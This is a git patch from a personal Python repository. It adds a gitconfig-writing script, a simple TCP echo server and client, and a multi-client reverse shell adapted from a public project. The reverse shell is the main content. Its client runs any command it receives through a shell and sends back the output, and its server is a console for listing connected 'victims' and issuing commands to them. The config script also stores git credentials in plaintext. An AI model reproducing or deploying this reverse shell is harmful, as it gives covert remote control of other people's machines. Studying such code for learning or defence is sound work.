From 21a45529863c4d46304bda61d1767bf926a67907 Mon Sep 17 00:00:00 2001 From: jonnybravo Date: Sat, 25 Mar 2023 09:56:21 +0100 Subject: [PATCH] added --- create_mygit_default_conf/main.py | 51 +++++++++ create_selfsign/selfsing.py | 1 - tcp_server_python/client.py | 17 +++ tcp_server_python/multi/README.md | 3 + tcp_server_python/multi/client.py | 23 ++++ tcp_server_python/multi/server.py | 174 ++++++++++++++++++++++++++++++ tcp_server_python/server.py | 25 +++++ 7 files changed, 293 insertions(+), 1 deletion(-) create mode 100644 create_mygit_default_conf/main.py create mode 100755 tcp_server_python/client.py create mode 100755 tcp_server_python/multi/README.md create mode 100755 tcp_server_python/multi/client.py create mode 100755 tcp_server_python/multi/server.py create mode 100755 tcp_server_python/server.py diff --git a/create_mygit_default_conf/main.py b/create_mygit_default_conf/main.py new file mode 100644 index 0000000..7a5636d --- /dev/null +++ b/create_mygit_default_conf/main.py @@ -0,0 +1,51 @@ +#! /usr/bin/env python3.10 + +import os, configparser + +#Set Skript Vars +user_gitconfig = os.environ["HOME"] + os.sep + ".gitconfig" +config_ini = configparser.ConfigParser() + + +list_my_git_projects = [ + "https://gitea.schlaubistechtalk.de", + "https://gitlab.com", + "https:ubuntu:5000" + ] +my_username = "jonnybravo" + +if not os.path.exists(user_gitconfig): + os.popen("touch " + user_gitconfig) + +config_ini.read(user_gitconfig) +if not config_ini.has_section("user"): + config_ini.add_section("user") + config_ini.set("user", "email", "mr.blue82@gmail.com") + config_ini.set("user", "name", my_username) +if not config_ini.has_section("core"): + config_ini.add_section("core") + config_ini.set("core", "editor", '"vim"') + config_ini.set("core", "pager", '"less --raw - control - chars"') + config_ini.set("core", "autocrlf","false" ) +if not config_ini.has_section("init"): + config_ini.add_section("init") + config_ini.set("init", "defaultBranch", "main") +if not config_ini.has_section("credential"): + config_ini.add_section("credential") + config_ini.set("credential", "helper", "store") + config_ini.set("credential", "helper", "cache –timeout=9640") + +for my_git_site in list_my_git_projects: + if not config_ini.has_section("credential " + '"' + my_git_site + '"'): + config_ini.add_section("credential " + '"' + my_git_site + '"') + config_ini.set("credential " + '"' + my_git_site + '"', "username", my_username) + + if not config_ini.has_section("URL " + '"' + my_git_site + '"'): + config_ini.add_section("URL " + '"' + my_git_site + '"') + config_ini.set("URL " + '"' + my_git_site + '"', "insteadOf", 'git@' + my_git_site + ":") + +#writing_all_configs +with open(user_gitconfig, "w") as configfile: + config_ini.write(configfile) + + diff --git a/create_selfsign/selfsing.py b/create_selfsign/selfsing.py index 488ed6e..c061003 100644 --- a/create_selfsign/selfsing.py +++ b/create_selfsign/selfsing.py @@ -34,7 +34,6 @@ def generate_self_signed_cert(cert_country, cert_state, cert_organization, return str(cert_text), str(priv_key_text) - if __name__ == "__main__": test = generate_self_signed_cert(cert_country="DE", cert_state="Dresden", cert_organization="IchAG", cert_locality="Sachsen", cert_organizational_unit="mandan01", cert_common_name="mandan01", valid_days=365, serial_number=12) privatekey = test[1].rstrip("'").strip("b'") diff --git a/tcp_server_python/client.py b/tcp_server_python/client.py new file mode 100755 index 0000000..0214eda --- /dev/null +++ b/tcp_server_python/client.py @@ -0,0 +1,17 @@ +#! /usr/bin/env python3 +import socket + +target_host = "127.0.0.1" +target_port = 9998 + +client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + +client.connect((target_host, target_port)) + +client.sendto(b'print("Hello")', (target_host, target_port)) + +response = client.recv(4096) + +print(response.decode()) +client.close() \ No newline at end of file diff --git a/tcp_server_python/multi/README.md b/tcp_server_python/multi/README.md new file mode 100755 index 0000000..be9b14d --- /dev/null +++ b/tcp_server_python/multi/README.md @@ -0,0 +1,3 @@ +Von : https://github.com/attreyabhatt/Reverse-Shell + +Leicht angepasst und Logging wird hinzugefügt. \ No newline at end of file diff --git a/tcp_server_python/multi/client.py b/tcp_server_python/multi/client.py new file mode 100755 index 0000000..64cb47a --- /dev/null +++ b/tcp_server_python/multi/client.py @@ -0,0 +1,23 @@ +import socket +import os +import subprocess + +s = socket.socket() +host = '127.0.0.1' +port = 9999 + +s.connect((host, port)) + +while True: + data = s.recv(1024) + if data[:2].decode("utf-8") == 'cd': + os.chdir(data[3:].decode("utf-8")) + + if len(data) > 0: + cmd = subprocess.Popen(data[:].decode("utf-8"),shell=True, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.PIPE) + output_byte = cmd.stdout.read() + cmd.stderr.read() + output_str = str(output_byte,"utf-8") + currentWD = os.getcwd() + "> " + s.send(str.encode(output_str + currentWD)) + + print(output_str) \ No newline at end of file diff --git a/tcp_server_python/multi/server.py b/tcp_server_python/multi/server.py new file mode 100755 index 0000000..24a26da --- /dev/null +++ b/tcp_server_python/multi/server.py @@ -0,0 +1,174 @@ +import socket +import sys +import threading +import time +from queue import Queue + +NUMBER_OF_THREADS = 2 +JOB_NUMBER = [1, 2] +queue = Queue() +all_connections = [] +all_address = [] + + +# Create a Socket ( connect two computers) +def create_socket(): + try: + global host + global port + global s + host = "0.0.0.0" + port = 9999 + s = socket.socket() + + except socket.error as msg: + print("Socket creation error: " + str(msg)) + + +# Binding the socket and listening for connections +def bind_socket(): + try: + global host + global port + global s + print("Binding the Port: " + str(port)) + + s.bind((host, port)) + s.listen(5) + + except socket.error as msg: + print("Socket Binding error" + str(msg) + "\n" + "Retrying...") + bind_socket() + + +# Handling connection from multiple clients and saving to a list +# Closing previous connections when server.py file is restarted + +def accepting_connections(): + for c in all_connections: + c.close() + + del all_connections[:] + del all_address[:] + + while True: + try: + conn, address = s.accept() + s.setblocking(1) # prevents timeout + + all_connections.append(conn) + all_address.append(address) + + print("Connection has been established :" + address[0]) + + except: + print("Error accepting connections") + + +# 2nd thread functions - 1) See all the clients 2) Select a client 3) Send commands to the connected client +# Interactive prompt for sending commands +# turtle> list +# 0 Friend-A Port +# 1 Friend-B Port +# 2 Friend-C Port +# turtle> select 1 +# 192.168.0.112> dir + + +def start_turtle(): + + while True: + cmd = input('command list or select > ') + if cmd == 'list': + list_connections() + elif 'select' in cmd: + conn = get_target(cmd) + if conn is not None: + send_target_commands(conn) + + else: + print("Command not recognized") + + +# Display all current active connections with client + +def list_connections(): + results = '' + + for i, conn in enumerate(all_connections): + try: + conn.send(str.encode(' ')) + conn.recv(20480) + except: + del all_connections[i] + del all_address[i] + continue + + results = str(i) + " " + str(all_address[i][0]) + " " + str(all_address[i][1]) + "\n" + + print("----Clients----" + "\n" + results) + + +# Selecting the target +def get_target(cmd): + try: + target = cmd.replace('select ', '') # target = id + target = int(target) + conn = all_connections[target] + print("You are now connected to :" + str(all_address[target][0])) + print(str(all_address[target][0]) + ">", end="") + return conn + # 192.168.0.4> dir + + except: + print("Selection not valid") + return None + + +# Send commands to client/victim or a friend +def send_target_commands(conn): + while True: + try: + cmd = input() + if cmd == 'exit': + break + if len(str.encode(cmd)) > 0: + conn.send(str.encode(cmd)) + client_response = str(conn.recv(20480), "utf-8") + print(client_response, end="") + except: + print("Error sending commands") + break + + +# Create worker threads +def create_workers(): + for _ in range(NUMBER_OF_THREADS): + t = threading.Thread(target=work) + t.daemon = True + t.start() + + +# Do next job that is in the queue (handle connections, send commands) +def work(): + while True: + x = queue.get() + if x == 1: + create_socket() + bind_socket() + accepting_connections() + if x == 2: + start_turtle() + + queue.task_done() + + +def create_jobs(): + for x in JOB_NUMBER: + queue.put(x) + + queue.join() + + +create_workers() +create_jobs() diff --git a/tcp_server_python/server.py b/tcp_server_python/server.py new file mode 100755 index 0000000..7b16fe3 --- /dev/null +++ b/tcp_server_python/server.py @@ -0,0 +1,25 @@ +#! /usr/bin/env python3 +import socket, threading + +IP = '0.0.0.0' +PORT = 9998 + +def main(): + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.bind((IP, PORT)) + server.listen(5) + print('[*] Listing on {IP}:{PORT}'.format(IP=IP, PORT=PORT)) + while True: + client, address = server.accept() + print('[*] Accept connection from {address1}:{address2}'.format(address1=address[0], address2=address[1])) + client_handler = threading.Thread(target=handle_client, args=(client,)) + client_handler.start() + +def handle_client(client_socket): + with client_socket as sock: + request = sock.recv(1024) + print(f'[*] Received: {request.decode("utf-8")}') + sock.send(b'ACK') + +if __name__ == "__main__": + main()